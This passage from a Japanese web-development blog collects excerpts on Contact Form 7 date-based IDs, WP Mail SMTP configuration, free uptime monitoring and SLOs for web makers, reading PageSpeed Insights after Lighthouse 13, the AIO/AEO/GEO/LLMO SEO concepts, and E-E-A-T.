フォーマットの変更や接頭辞の追加も簡単です。 // スラッシュ区切りの日時形式 date_i18n('Y/m/d H:i:s'); // 出力例: 2025/09/01 19:23:45 // 接頭辞・接尾辞を追加 'CQ-' . date_i18n('YmdHis') . '-JP'; // 出力例: CQ-20250901192345-JP 一意性をさらに高める方法 同じ秒に複数件送信される可能性がある場合は、以下の方法で一意性を強化できます。 date_i18n('YmdHis') . '-' . uniqid() で一意なIDを追加 microtime(true) でミリ秒精度の出力 wp_generate_uuid4() と組み合わせてUUID形式にする 応用：管理画面との連携 「お問い合わせ一覧」に日時IDカラムを追加 送信時の日時IDをカスタムフィールドに保存して検索可能に Flamingoプラグインのメッセージに日時IDを一緒に保存 自動返信メールの迷惑メール対策（WP Mail SMTP） CF7の自動返信メールが迷惑メールに入ってしまう主な原因は、送信元アドレスの不一致やメール配信方式の不安定さにあります。WP Mail SMTPで「送信元を自社ドメインで固定＋SMTP配送」を設定すれば、多くのケースで改善できます。 手順1：WP Mail SMTPの導入と基本設定 「WP Mail SMTP」をインストールして有効化 一般設定でFrom Emailを設定： From Email：no-reply@あなたのドメイン（必ず独自ドメイン） Force From Email：チェックを入れる From Name：サイト名や会社名 Mailer（送信方式）を設定： Other SMTPを選択 SMTP Host：smtp.yourdomain.com Encryption：TLS SMTP Port：587（TLSの場合）/ 465（SSLの場合） Authentication：ON SMTP Username / Password：メールアカウントの情報 「Email Test」で自分のGmailなどに送信し、受信トレイに届くか確認 Fromは必ず独自ドメインのアドレスを使用してください。Gmail等のフリーメールをFromに使うと高確率で迷惑メール判定されます。 手順2：CF7メールテンプレートの正しい設定 管理者宛メール（Mail）の設定： 項目設定値Toinfo@yourdomainFromno-reply@yourdomainSubject[your-subject]Additional HeadersReply-To: [your-email] 自動返信メール（Mail (2)）の設定： 項目設定値To[your-email]Fromno-reply@yourdomainSubject【自動返信】お問い合わせありがとうございますAdditional HeadersReply-To: info@yourdomain Fromにユーザーのメールアドレスは絶対に入れないでください。 ### [Web制作者のためのSRE入門｜無料の外形監視とSLOの決め方](https://codequest.work/web-production-sre-roadmap/) Web制作者にとってのSREとは、作ったサイトが落ちたことを依頼主より先に検知し、どこまでの停止を許容するかを数字で決めて運用することです。クラウドの構築やKubernetesの運用は、その先の話になります。 学ぶ順番も同じです。最初にやるのは「自分のサイトを外から叩いて、落ちたら通知が飛ぶ」を1本作ること。この記事では、無料の範囲でその1本を作り、意図的にダウンを起こして通知が本当に手元に届くかを確かめるところまでを扱います。 掲載しているコマンド・スクリプト・ワークフローはすべて実際に実行して出力を確認したものです。無料プランでできることとできないことは、料金ページの実データを読んで表にしました。記事の後半には、SLOとエラーバジェットの早見表と、検証が外れたときの分岐表を用意しています。 Web制作者にとってのSREとは何か SRE（Site Reliability Engineering）は、Googleが2003年に始めた運用の実践です。創設者のBenjamin Treynor Slossは、Google SRE本の冒頭で「SREとは、ソフトウェアエンジニアに運用チームを設計させたときに起きることである」と定義しています（Google, Site Reliability Engineering, Introduction・2026年8月2日時点）。つまりSREは職種名である前に、運用をソフトウェアの問題として扱うという考え方です。 この考え方をWeb制作の規模に落とすと、やることは驚くほど少なくなります。「サイトが生きているかを機械に見張らせ、どこまでの停止を許すかを数字で決める」——この2つだけです。そしてこの2つは、無料の道具だけで今日始められます。 SLI・SLO・エラーバジェット・トイルを1つの表で押さえる SREの話が難しく感じるのは、似た略語が4つ出てくるからです。定義はGoogle SRE本に書かれているので、そのまま押さえます。 用語公式の定義Web制作に置き換えるとSLI提供しているサービス水準のある側面を、注意深く定義した定量的な測定値トップページへのリクエストのうち、200が返った割合SLOSLIで測る値に対する目標値、または目標とする値の範囲その割合を30日間で99.9%以上に保つSLASLOを満たせなかったときの結果（多くは金銭的な補償）を含む、利用者との明示的または暗黙的な契約保守契約書に書く約束エラーバジェット100%からSLOを引いた残り。その期間に使ってよい「落ちてよい量」99.9%なら30日で43分12秒トイル手作業で反復的・自動化可能・戦術的で、永続的な価値がなく、サービスの成長に比例して増える運用作業毎朝サイトを開いて生きているか目視すること 出典はService Level Objectives（SLI・SLO・SLA）、Embracing Risk（エラーバジェット）、Eliminating Toil（トイル）です（いずれも2026年8月2日時点）。Google SRE本はsre.google 上で全文が無料公開されています。 ここでひとつだけ間違えやすい点があります。「SLOを改善する」という言い方は、定義上ねじれています。SLOは自分で決める目標値であって、改善する対象ではありません。改善するのはSLIで測っている実測値のほうです。「表示速度を上げたらSLOが良くなった」ではなく、「SLIの実測値が上がり、SLOに対する余裕（エラーバジェット）が増えた」が正しい言い方になります。 Web制作の経験がそのまま効く3つ SREを別世界の職種だと感じる必要はありません。Web制作で身につけた次の3つは、そのまま使えます。 数字を測ってから直す習慣。LCPやINPといったCore Web Vitalsは、Google SRE Workbookの分類でいうリクエスト駆動型サービスのSLIタイプ「latency（遅延）」に相当する測定値です。SLIを選ぶ作業は、いつもやっている計測の延長にあります。 キャッシュの効き方の見立て。WordPressでページキャッシュやCDNを運用していると、どこまでがキャッシュから返っていて、どこからがPHPの処理なのかの感覚が身につきます。応答時間が伸びたときに、どのレイヤを疑うかの起点になります。 DNSとサーバー構成の把握。ドメイン・ネームサーバー・Webサーバーの関係を知っていれば、通知が来たときに「サイトが落ちた」のか「そもそも名前が引けていない」のかを分けて考えられます。 サーバー・データベース・APIの関係そのものが曖昧なら、監視の前にそこを埋めたほうが早いです。全体像はバックエンドとは？サーバー・DB・APIの全体像にまとめています。 逆に、Web制作では身につかない3つ 誇張しないために、効かないものも書いておきます。次の3つはWeb制作を続けても身につきません。 オンコール運用——当番制で夜間・休日に呼び出される前提の設計、エスカレーションの取り決め、障害後のポストモーテム 分散システムの障害設計——リトライ、サーキットブレーカ、縮退運転など、部分的な故障を前提にした作り キャパシティプランニング——需要予測にもとづく容量確保と、その予測が外れたときの回復 SREを名乗るにはこの3つが要ります。ただしこの記事が扱う範囲（自分のサイトの死活監視とSLO）は、この3つが無くても成立します。順番として、先に手が届くほうから始めるという話です。 最初の一歩｜無料で外形監視を1本入れる Google SRE Workbookは、過去の実績データが手元に無い場合の「低忠実度な解」として、次のように書いています。HTTPサービスなら、定期的なヘルスチェック（pingやHTTP GET）を行って成功したリクエスト数を報告してくれる外部の監視サービスを立てればよい、と（The Site Reliability Workbook, Implementing SLOs・2026年8月2日時点）。 つまりこれから作る「外から叩いて生死を記録する仕組み」は、間に合わせではなく、公式が最初の一歩として想定している形そのものです。まだ監視する対象のサイトを公開していない場合は、ポートフォリオ公開のためのレンタルサーバーの選び方を先に読んで、1本公開してからのほうが実感が湧きます。 UptimeRobotの無料プランでできること・できないこと 無料の外形監視ではUptimeRobotがよく使われますが、料金ページの機能一覧は「載っている＝使える」ではありません。各項目には内部的に「使える／使えない／制限あり」のフラグが付いていて、無料プランは多くが「使えない」側です。料金ページのデータを読んで整理したものが次の表です（UptimeRobot Pricing・2026年8月2日時点）。 項目無料プランの実際モニター数50チェック間隔5分（有料は60秒・30秒・15秒）使えるモニター種別HTTP・ポート・Ping・キーワード使えないモニター種別API監視・UDP監視・DNS監視・SSL／ドメイン期限監視・ハートビート監視使えない機能多地点監視・低速レスポンスアラート・カスタムヘッダ／ステータス・メンテナンス枠・再通知／継続通知・インシデントへのコメントサードパーティ連携5つのみ（Google Chat・Discord・Pushover・Pushbullet・Splunk）無料では使えない連携Slack・Mattermost・Telegram・MS Teams（Solo以上）／Webhook・Zapier・PagerDuty（Team以上）SMS・音声クレジット0（別途購入。10クレジット3.00米ドルから。日本宛のSMSは1通2クレジット消費）ステータスページ1つ（カスタマイズ不可）データ保持3か月（Soloは12か月、Team・Scaleは24か月）月次メールレポート最初の3か月のみPlatform API無料でも利用可。モニターやインシデントをAPIで操作できる（監視対象としてのAPI監視とは別物） とくに間違えやすいのが次の2点です。「無料プランでSSL証明書の期限切れを監視できる」「無料プランでSlackへ通知できる」——この2つはどちらも誤りです。SSL／ドメイン期限監視もSlack連携も、Solo（月10米ドルから）以上でないと使えません。クライアントに監視を提案する前に、ここを取り違えていないか確認してください。 HTTPモニタとキーワードモニタを作る 無料プランで使えるモニター種別のうち、Webサイトの監視で実際に選ぶのはHTTPかキーワードの2つです。違いは本文を見るかどうかです。 種別判定の基準見逃すものHTTPモニタステータスコードが正常かどうか200は返っているのに本文が空、または内容が壊れている状態キーワードモニタ本文に指定した文字列が含まれるかどうかキーワードが残ったまま他の部分が壊れている状態 テーマやプラグインの不具合で本文が真っ白になっても、HTTPステータスは200のまま返ることがあります。この場合HTTPモニタはUPと判定し続けます。本番サイトにはキーワードモニタを選んでおくほうが安全です。加えて、後述する検証（意図的なダウンの再現）はキーワードモニタでないと安全に行えません。 モニター種別にKeywordを選び、監視するURLに自分のサイトのトップページを指定する 監視キーワードに、そのページへ確実に存在する文字列（サイト名など）を入れる 通知先（Alert contact）にメールアドレスを登録し、確認メールのリンクを踏んでVerify済みにする 保存して5〜10分待ち、ダッシュボードの表示がUpになることを確認する キーワードを決めるときの注意がひとつあります。外形監視が見るのは取得したHTMLのソースであって、ブラウザが後からJavaScriptで描画した文字列ではありません。ブラウザの画面に見えている文字列が本当にHTMLに入っているかは、手元で次のコマンドを打てば1秒で分かります。 # 監視キーワード候補が HTML に何回出てくるかを数える curl -sS https://codequest.work/ | grep -c "CodeQuest" # => 4 （1以上なら監視キーワードとして使える） curl -sS https://codequest.work/ | grep -c "zzz-uptime-test-20260802" # => 0 （0ならキーワードとして機能しない） 通知先を決める｜無料で使える5つと、使えないもの 無料プランの通知手段は、メール・SMS・音声通話・Email2SMSに加えて、サードパーティ連携が5つ（Google Chat・Discord・Pushover・Pushbullet・Splunk）です。SMSと音声通話はクレジット制で、無料プランに付いてくるクレジットは0のため、実質的にはメールかこの5連携のいずれかになります。 制作者が1人で見るなら、メール通知だけで十分です。ただしメール通知には「届かないのに気づけない」という弱点があります。迷惑メールに振り分けられても、通知先が未認証のままでも、画面上はモニターが動いているように見えるからです。だからこそ、設定した直後に一度わざと落として、通知が本当に届くかを確かめる必要があります。その手順はこの記事の後半で扱います。 アカウントを作らずに試す｜curlとGitHub Actionsで自作する 外部サービスに登録したくない、あるいは社内の事情で使えない場合でも、手元の道具だけで同じことができます。ここで作るものは常設の監視の代わりにはなりませんが、「監視とは何をしているのか」を1回自分の手で通しておくと、設定画面の項目の意味が分かるようになります。 ### [PageSpeed Insightsの見方と改善実務｜スコアを上げる手順とチェックポイント](https://codequest.work/page-speed-insights-optimization/) PageSpeed Insights（PSI）は、Googleが提供する無料のページ計測ツールです。実ユーザーのChromeから匿名で集めたCore Web Vitalsの実測値（Field Data）と、Googleのサーバー上でLighthouseが計測のたびに走らせる擬似計測（Lab Data）を、同じ画面に並べて表示します。 ただし、読み進める前に押さえておくべき前提が1つあります。2025年10月20日、PSIはLighthouse 13へ更新され、レポートの中身が作り替わりました。長年PSI改善の起点だった「Opportunities（改善できる項目）」というセクションは廃止され、現在は「Insights」という17項目の並びに置き換わっています。ウェブ上に残るPSI解説の大半は、この画面が存在した時代に書かれたものです。 この記事は現行レポートを前提に「どこから読み、どの数字を信じ、その計測結果を信じてよいかをどう判定するか」までを扱います。記載した仕様は、Lighthouseの公開設定ファイルとGoogleの公式リリースノートを直接確認したものです。 指標（LCP・INP・CLS）の定義・目標値・優先度は Core Web Vitals改善ガイド へ 具体的な実装コード（preload・fetchpriority・Critical CSS等）は ページ速度改善の実装ガイド へ ファーストビュー設計とCVRの最適化は ファーストビュー改善ガイド へ PageSpeed Insightsとは｜ツールの位置づけ PageSpeed Insightsとは、URLを入力するだけでページの表示速度を診断できるGoogleの無料ツールです。pagespeed.web.dev でアカウント登録なしに利用でき、モバイルとPCそれぞれについて、Core Web Vitalsの合否判定と0〜100点のスコア、そして改善の手がかりになる項目の一覧を返します。 PSI／Lighthouse／CrUXの関係 PSIは単体の計測エンジンではなく、Google製の2つのプロダクトを1枚にまとめたダッシュボードです。ラボ環境の擬似計測はLighthouseが担当し、実ユーザーの体感データはChrome UX Report（CrUX）が供給します。画面上の「Field」がCrUXの集計値、「Lab」がLighthouseの計測値です。PSIが使うLighthouseのバージョンはPSIのリリースノートで公表され、レポート下部にも表示されます。 PSIで測れること・測れないこと PSIが返すのは「ある1つのURLが、どれくらいの体感速度で表示されているか」です。サーバーログの分析・セッション単位の行動追跡・JavaScriptの実行時エラーの調査には向きません。サイト全体の傾向はSearch Console、フレーム単位の深掘りはChrome DevToolsと組み合わせます。各指標の定義と目標値はCore Web Vitals改善ガイドにまとめています。 2025年10月、PSIのレポートは作り替わった 手順の前に画面の前提を揃えます。ここを知らないまま古い解説を読むと、存在しない項目を探し続けることになります。 「Opportunities」は廃止され「Insights」になった Chrome for Developersのinsight移行アナウンスのとおり、GoogleはLighthouseの監査項目とDevTools Performanceパネルのinsightを共通化してきました。Lighthouse 12で表示の既定値がinsight側に切り替わり、Lighthouse 13で旧監査がレポートからもJSONからも削除されています。 現在のPerformanceレポートは「Metrics（指標）」「Insights」「Diagnostics（診断）」の3グループ構成です。「Opportunities（機会）」というグループはLighthouse 13の設定ファイルに1件も存在しません。一方でLighthouse 13はスコアの計算式を変更していません。公式ブログが明記しているとおりPerformanceスコアは監査項目ではなく指標から算出されるため、点数の意味は従来と同じです。変わったのは改善のヒントの並べ方だけです。 旧監査名で検索しても出てこない理由 過去の記事や社内ドキュメントに出てくる監査名は、次のように置き換わっています。左の名前で検索しても現行レポートには現れません。対応表はLighthouse 13の公式リリース記事に掲載されたものです。 いま使われていない旧監査名置き換わった現行のInsightrender-blocking-resourcesレンダリングをブロックしているリクエストuses-responsive-images／modern-image-formats／uses-optimized-images／efficient-animated-content画像配信を改善するprioritize-lcp-image／lcp-lazy-loadedLCPリクエストの検出largest-contentful-paint-elementLCPの内訳layout-shiftsレイアウトシフトの原因redirects／server-response-time／uses-text-compressionドキュメントリクエストのレイテンシcritical-request-chains／uses-rel-preconnectネットワークの依存関係ツリーuses-long-cache-ttl効率的なキャッシュ保存期間を使用するthird-party-summaryサードパーティuses-http2最新のHTTPwork-during-interactionINPの内訳offscreen-images／first-meaningful-paint／font-size／no-document-write／preload-fonts／third-party-facades置き換えなしで削除 とくに注意したいのが最下段です。「offscreen-images（オフスクリーン画像の遅延読み込み）」は代替なしで廃止されました。公式の理由は「オフスクリーン画像はブラウザ側ですでに優先度が下げられており、遅延読み込みは通信量の削減には効いてもLighthouseの計測値には影響しにくいため」です。この項目の消化を目標に置いていたなら、目標ごと差し替えが要ります。 Lab DataとField Dataの違い｜PSI攻略の最重要ポイント レポート上部の「実際のユーザー環境で評価する（Field Data）」と、その下の「パフォーマンスの問題を診断する（Lab Data）」は、取得元・集計方法・反映タイミングがまったく異なるデータです。ここを混同したままスコアを追うと、改善作業が空回りします。 Lab Data（Lighthouse）とは Lab Dataは、PSIのサーバー上でLighthouseが計測のたびに擬似ブラウザでURLを読み込み、その場で算出する数値です。回線速度・端末性能・キャッシュ状態をGoogle側が固定するため再現性が比較的高く、Performanceスコア（0〜100）とその内訳のメトリック群として表示されます。コードを直した直後に測り直せることが最大の利点です。 Field Data（CrUX）とは Field Dataは、実際にページを訪れたChromeユーザーから匿名で集計された体感データで、Chrome UX Report（CrUX）が公開しています。Chrome公式ドキュメントによると、CrUXのデータは直近28日間のローリングウィンドウで集計され、各指標は75パーセンタイル値で評価されます。最も遅い層を切り捨てずに現実的な体験品質を反映できる設計です。Search Consoleの「ウェブに関する主な指標」も同じCrUXを参照しています。 比較表とどちらを信じるべきかの結論 観点Lab Data（Lighthouse）Field Data（CrUX）取得元PSIサーバー上の擬似ブラウザによる1回計測実ユーザーのChromeから匿名収集集計期間リアルタイム（計測のたび1回ごと）直近28日間のローリング集計スコアに算入される指標FCP／LCP／TBT／CLS／Speed IndexスコアではなくGood／要改善／不良の判定表示される指標上記＋INP（Lighthouse 13.1以降・スコア非算入）LCP／INP／CLS／FCP／TTFB反映タイミング即時（コード修正後すぐ再計測可能）反映に最大28日かかる出ない場合必ず出る（合成計測のため）トラフィック不足だと「データ不足」表示SEO評価との関係直接の評価対象ではないCore Web Vitalsの判定根拠 結論は「実ユーザーへの反映を見届けるのはField、日々の実装検証はLab」という役割分担です。Fieldは反映まで最大28日かかるため、実装フェーズはLabで方向性を確認し、リリース後にFieldで着地を確認する二段構えが現実的です。 Lighthouseの4カテゴリとスコアの読み方 現在のPSIレポートは、Performance・Accessibility・Best Practices・SEOの4カテゴリで構成されます。5つ目にあったPWAカテゴリは、2024年5月10日のLighthouse 12.0への更新とともに廃止されました。「PSIのPWAスコア」を追う運用ルールが残っているなら、それは2年前に消えた指標です。 Performanceスコアの構成と重み付け Performanceは5つの指標の加重平均です。Chrome for Developers「Lighthouse performance scoring」に記載された重み付けは次のとおりで、Lighthouse 13でも変更されていません。 メトリック重み意味するものFCP（First Contentful Paint）10%最初のコンテンツが描画されるまでの時間LCP（Largest Contentful Paint）25%メインコンテンツが描画されるまでの時間TBT（Total Blocking Time）30%メインスレッドのブロック時間の合計CLS（Cumulative Layout Shift）25%累積レイアウトシフト量Speed Index10%ビューポート全体が視覚的に完成するまでの速度 PerformanceスコアはTBT 30%・LCP 25%・CLS 25%で8割を占めるため、点数を動かしたいならこの3つから着手するのが効率的です。FCPとSpeed Indexは各10%しか持っていません。なおINPについては、Lighthouse 13.1以降のMetricsグループに並びますが重みは0＝スコアには算入されません。Lab側のTBTはあくまで「メインスレッドの詰まり」を測る代理指標であり、Core Web VitalsとしてのINPはField側で判定されます。両者は連動しやすいものの、同一の指標ではありません。 Performance以外の3カテゴリの役割 Accessibilityはスクリーンリーダー対応やコントラスト比、Best PracticesはHTTPSの利用・非推奨APIの不使用・コンソールエラー、SEOはmeta descriptionやモバイルフレンドリー要件を評価します。いずれもPerformanceスコアには影響しません。ただしAccessibilityで赤い項目が並ぶ場合は、検索評価以前にユーザビリティの問題があるサインです。 総合スコア（0〜100）の評価帯 総合スコア評価表示色一般的な状態90〜100Good緑上位優良。 ### [AIO・AEO・GEO・LLMOとは？AI時代のSEO新概念の違いと実践的な最適化方法](https://codequest.work/aio-aeo-geo-llmo/) AIO（AI Optimization）とは、AEO（回答エンジン最適化）・GEO（生成エンジン最適化）・LLMO（大規模言語モデル最適化）を包括するAI時代の検索最適化の総称です。従来のSEOが検索結果での上位表示を目指すのに対し、AIO系の施策はGoogleのAI OverviewやChatGPT・Perplexity等の生成AIに「情報源として引用される」ことを目指します。 AEO・GEO・LLMOとは？SEOだけでは届かないAI検索時代の最適化 これまでのSEOは、検索結果に表示されること＝見られることという前提に成り立っていました。しかし、最近はこういった現象が起きています。 表示回数は多いのに、クリックされない 順位は高いのに、ページの閲覧数が増えない 質の高い記事を書いても、そもそも読まれない 原因は明らかで、検索結果に「答えそのもの」が表示されることが多くなってきたからです。ユーザーはリンクをクリックせず、Googleの画面上で答えを得て完結してしまうのです。 さらに、検索エンジン以外の「答えを出す存在」も増えてきています。ChatGPTやGemini、Perplexityなどに代表される生成AIです。従来の「SEOを頑張れば流入が増える」時代は、すでに限界にきています。 こうした変化に対応するために生まれたのが、AIO・AEO・GEO・LLMOという新しい概念です。本記事では、それぞれの意味と関係性を整理し、実務にどう活かせるかを解説します。 4つの検索最適化を一目で比較 項目SEOAEOGEOLLMO正式名称Search Engine OptimizationAnswer Engine OptimizationGenerative Engine OptimizationLarge Language Model Optimization対象Google、Bingなどの検索エンジン音声アシスタント、強調スニペットAI Overview、ChatGPT、PerplexityなどのAI生成結果LLMの学習データ・RAG参照（対象はGEOとほぼ重なる）目的検索結果で上位表示「唯一の回答」として選ばれるAI生成結果に情報源として引用されるLLMの回答に参照・推薦される重要な指標検索順位、CTR、表示回数強調スニペット獲得率AI結果での引用率LLM回答での言及率主な対策キーワード最適化、被リンク、技術SEO構造化データ、Q&A形式コンテンツE-E-A-T強化、権威性構築セマンティック構造、エンティティ最適化 AIOとは？（AI Optimization） AIOは「AI最適化（AI Optimization）」の略で、AI時代におけるSEOの総称的な概念です。検索エンジンだけでなく、ChatGPTやGoogle Geminiなどの生成AI、回答エンジンにコンテンツを見つけてもらい、ユーザーの疑問解決に自社情報が活用されることを狙います。 AIOには「Google AI Overview」を指す場合もあります。AI Overviewは検索結果の上部にAIが生成した回答を表示する機能で、従来の検索結果よりも目立つ位置に表示されます。 AEOとは？（Answer Engine Optimization） AEOは「回答エンジン最適化」。GoogleのAI OverviewsやChatGPTのように、ユーザーの質問に直接答えるAIで回答として選ばれることを目的とします。 たとえば、次のような場面がAEOの典型です。 Googleの「強調スニペット（ゼロクリック回答）」 SiriやAlexaが質問に答えるとき ChatGPTがネットを参照して回答する場合 AEOで重要なポイントは以下の通りです。 FAQ構造化データ（FAQPage schema）で質問と回答の対応関係を機械可読にする 質問と回答の明確な構造でコンテンツを作る 簡潔で正確な回答を冒頭に配置する（結論ファースト） 手順は番号付きリストで明示する（HowTo構造化データは廃止済み） 注意：FAQとHowToは、Googleのリッチリザルトとしてはすでに終了しています。HowToリッチリザルトは2023年8月の告知以降に段階的に廃止され、FAQリッチリザルトもGoogle公式ドキュメントのとおり2026年5月7日で検索結果に表示されなくなりました。マークアップを残しても害はありませんが、目的は「検索結果の見た目を良くすること」ではなく「回答エンジンや生成AIに質問と回答の対応関係を伝えること」に変わったと理解してください。 言い換えると、「誰かに読まれる」よりも、「検索エンジンやAIに答えとして使われる」ことが目的です。 GEOとは？（Generative Engine Optimization） GEOは「生成エンジン最適化」。ChatGPTやGeminiなどの生成AIが回答を生成するときに、自社コンテンツを引用・参照されることを狙います。 生成AIは、「Webページを読み込み→文章を要約・再構成し→回答を作る」仕組みになっています。このとき、AIが「どのサイトを参照するか」によって、答えの信頼性や方向性が変わります。 つまり、引用されるサイトにならなければ、あなたの情報は"なかったこと"になる可能性があるのです。従来のSEOにおける「被リンク」に近い位置付けですが、AIはリンクよりも「ブランド言及」や「権威性のある情報源」を重視すると言われています。 実際にGoogleは2026年4月、「GEO Partner Manager」という職種の求人を公開しています。求人には「Generative Engine Optimization（GEO）のエコシステムとの関係構築」と明記されており、GEO/AEO企業をパートナーとして管理する役割が定義されています。 ただし、この求人はGoogle広告のLarge Customer Sales（大口顧客営業）の職種であり、検索チームの方針を示すものではありません。Google検索側は一貫して「AI OverviewやAI Modeに対しても通常のSEOで十分であり、専用のGEO/AEO最適化は必要ない」という立場を取っています。「広告部門はGEOをエコシステムとして扱い始めた」「検索部門は通常のSEOで十分と言っている」——この2つは分けて捉えるのが正確です。GEOという言葉が業界で定着しつつあることの傍証にはなりますが、Googleが公式に推奨する最適化手法として認めた、という意味ではありません。 GEOの実践方法 E-E-A-T（経験・専門性・権威性・信頼性）を徹底的に強化する 独自の調査データや統計をコンテンツに含める 引用されやすい明確な定義文を含める 著者情報と専門性を明示する（Person構造化データ） LLMOとは？（Large Language Model Optimization） LLMOは「大規模言語モデル最適化」。対象を「LLM（ChatGPTやGeminiなどの大規模言語モデル）」に絞って最適化する考え方です。GEOと方向性は同じですが、LLMOでは特にAIモデルの学習データやRAG（検索拡張生成）に自サイトの情報が含まれることを重視します。 LLMOの実践方法 セマンティックHTML（適切な見出し構造、article/section/nav等）で文書構造を明確にする エンティティの明確化：自社名・サービス名・著者名を一貫して使用する JSON-LD構造化データで機械可読な情報を提供する（Organization、Person、SoftwareApplicationなど） 外部サイトでの言及を増やす（ブログ記事、SNS、レビューサイト） llms.txtを置く場合は「効果が未確認の実験的施策」として扱う（次の段落を参照） llms.txtの効果は、現時点では確認されていません。Googleは生成AI機能向けの公式ガイドで「Google検索（その生成AI機能を含む）に表示されるために、新しい機械可読ファイル・AI向けテキストファイル・マークアップ・Markdownを作成する必要はありません。Google検索自体がそれらを使用していないからです」と明言しています。OpenAI・Anthropic・Perplexityなどの他社LLMについても、llms.txtを利用していると公式に表明した例はありません。設置しても害はありませんが、順位や引用が増える保証のない実験的施策という位置づけで扱ってください。LLMOで確実に効くのは、上に挙げたセマンティックHTML・エンティティの一貫性・JSON-LD・外部言及のほうです。 AIOの全体像と4つの用語の関係性 まとめると、AIOが大きな概念で、その下にAEO・GEO・LLMOといった手法が含まれます。 AIO（AI最適化：総称） ├─ AEO（回答エンジン最適化：直接答えを狙う） ├─ GEO（生成エンジン最適化：引用・参照を狙う） └─ LLMO（LLM最適化：GEOとほぼ同義） このように整理すると「AIO＝傘概念」「AEOとGEOが実務手法」「LLMOはGEOの言い換え」と理解できます。 SEO・AEO・GEOの目的の違い SEO・AEO・GEOにはそれぞれ明確な役割の違いがあります。 最適化主な対象目的ユーザー行動の変化SEO検索エンジン順位表示・クリック誘導検索→クリック→記事閲覧AEO検索エンジン・音声AI回答として抜粋される検索→即答（クリックせず）GEO生成AI（ChatGPT等）引用・参照される質問→AI回答→出典を見る or 見ない SEOでは「見つけられること」、AEOでは「抜き出されること」、そしてGEOでは「AIに選ばれること」がカギになります。これからは、どのように検索されるかではなく、誰の情報が使われるか、信頼されるかが重要になっていきます。 AEOとGEOの違い｜回答エンジン最適化と生成AI最適化 AEOとGEOは混同されやすい概念ですが、最適化の対象が異なります。AEO（Answer Engine Optimization）はGoogleの強調スニペットや音声検索の回答として選ばれることを目指す施策です。一方、GEO（Generative Engine Optimization）はChatGPTやPerplexityなどの生成AIに引用・参照されることを目指します。 比較項目AEOGEO対象Google強調スニペット・音声AIChatGPT・Perplexity等の生成AI目的検索結果で「回答」として表示されるAIの出力に「引用元」として選ばれる主な手法構造化データ・FAQ・定義文E-E-A-T強化・ソース付き断言文ユーザー行動検索→即答（クリック不要）AI質問→AI回答→出典確認 AEOは従来のSEOの延長線上にある施策で、構造化データやFAQマークアップが有効です。GEOはコンテンツの信頼性と独自性が重視され、具体的な数値やソース付きのファクトが引用されやすい傾向にあります。 GEOとSEOの違い｜従来の検索最適化とAI検索最適化 GEOとSEOの最大の違いは、最適化先が「検索順位」か「AIの回答」かという点です。SEOはGoogleの検索結果で上位表示を目指しますが、GEOは生成AIがコンテンツを情報源として採用することを目指します。 比較項目SEOGEO最適化先Google検索エンジンChatGPT・Gemini・Perplexity等成功指標検索順位・クリック率AI回答での引用・出典リンク重要な要素被リンク・キーワード・技術SEO独自性・信頼性・構造化された情報コンテンツ形式検索意図に沿った網羅的な記事断言的な定義文・ソース付きデータ SEOが不要になるわけではなく、SEOで検索エンジンに評価されたコンテンツほど、AIにも参照されやすい傾向があります。 ### [E-E-A-Tとは？Web制作とSEO対策で検索評価と信頼性を高める方法](https://codequest.work/web-seo-eeat/) E-E-A-T（イーイーエーティー）とは、Googleの検索品質評価ガイドラインで示される、Experience（経験）・Expertise（専門性）・Authoritativeness（権威性）・Trustworthiness（信頼性）の4要素からなるコンテンツ品質の考え方です。ただしGoogleは「E-E-A-T自体は特定のランキング要因ではない」と公式に明言しています。ここを取り違えたまま「E-E-A-T対策」に時間を使うと、成果の出ない施策を積み上げることになります。 この記事では、Google公式ドキュメントの記述に沿ってE-E-A-Tの正確な位置づけを整理したうえで、Web制作者が「実装」で担保できる範囲に絞って具体策をまとめます。最後に、自分のサイトを外形的に監査する手順まで通します。 まず誤解を解く｜E-E-A-Tはランキング要因ではない 日本語の解説記事の多くが「E-E-A-Tを高めれば順位が上がる」と書いていますが、これは正確ではありません。Google公式の記述を確認します。 Google公式は「特定のランキング要因ではない」と書いている Google検索セントラルの「有用で信頼性の高い、ユーザーを第一に考えたコンテンツの作成」には、次の趣旨が明記されています。 E-E-A-T自体は特定のランキング要因ではないが、優れたE-E-A-Tを備えたコンテンツを識別できる複数の要因の組み合わせを使うことは有用である。 つまり「E-E-A-Tスコア」のような数値がアルゴリズムに存在するわけではありません。Googleが実際に見ているのは、良質なコンテンツを見分けるための多数のシグナルの組み合わせであり、E-E-A-Tはその方向性を言語化した概念です。 品質評価者のデータはアルゴリズムに直接使われない もうひとつ誤解されているのが、検索品質評価者（Quality Rater）の役割です。評価者が従う基準は検索品質評価ガイドラインとしてGoogleが一般公開しています。同じドキュメントには、評価者のデータはランキングアルゴリズムに直接は使われないという趣旨が書かれています。Googleはこれを「レストランが客からフィードバックカードを受け取るようなもの」と表現しています。 評価者が付けた点数が個別ページの順位に反映されるのではなく、検索システム全体がうまく機能しているかを確かめるための材料として使われます。「評価ガイドラインに書いてあるから対策する」という発想そのものが、一段ズレているということです。 では、なぜE-E-A-Tを気にする意味があるのか ランキング要因ではないと分かってなお、E-E-A-Tを見る価値はあります。理由は「Googleが良質と考えるコンテンツの方向性」を、Google自身の言葉で示した数少ない資料だからです。 正しい向き合い方は「E-E-A-T対策をする」ではなく、「E-E-A-Tを、自分のコンテンツを点検するチェックリストとして使う」ことです。順位への即効性を期待するのではなく、品質の抜けを見つける道具として扱ってください。SEO全体の進め方はSEO対策ガイドにまとめています。 4要素は横並びではない｜Trustが最重要 ここも多くの解説記事が見落としている点です。Googleは4要素のうちTrust（信頼性）が最も重要だと明記しています。残りの3つは、Trustを支えるために存在します。 これらの側面のうち、信頼性（trust）が最も重要である。他の要素は信頼性に寄与するものであり、コンテンツが必ずしもすべてを備えている必要はない。 この一文には2つの重要な含意があります。ひとつは優先順位があること、もうひとつは4要素すべてを満たす必要はないことです。 4要素とTrustの関係を整理する 要素問われていることTrustへの寄与のしかたTrust（信頼性）安心して信じられるかこれ自体が目的。他の3つはここへ至る手段Experience（経験）実際に体験・実践したか「本当に使った人が書いている」ことが信頼を生むExpertise（専門性）その分野の知識があるか「分かっている人が書いている」ことが信頼を生むAuthoritativeness（権威性）その分野で認められているか「第三者に認められている」ことが信頼を生む 「すべて満たす必要はない」の実務的な意味 個人サイトや小規模メディアが大手と同じ土俵で権威性を競うのは現実的ではありません。しかしGoogleはすべてを備えている必要はないと書いています。ここが小規模サイトの勝ち筋です。 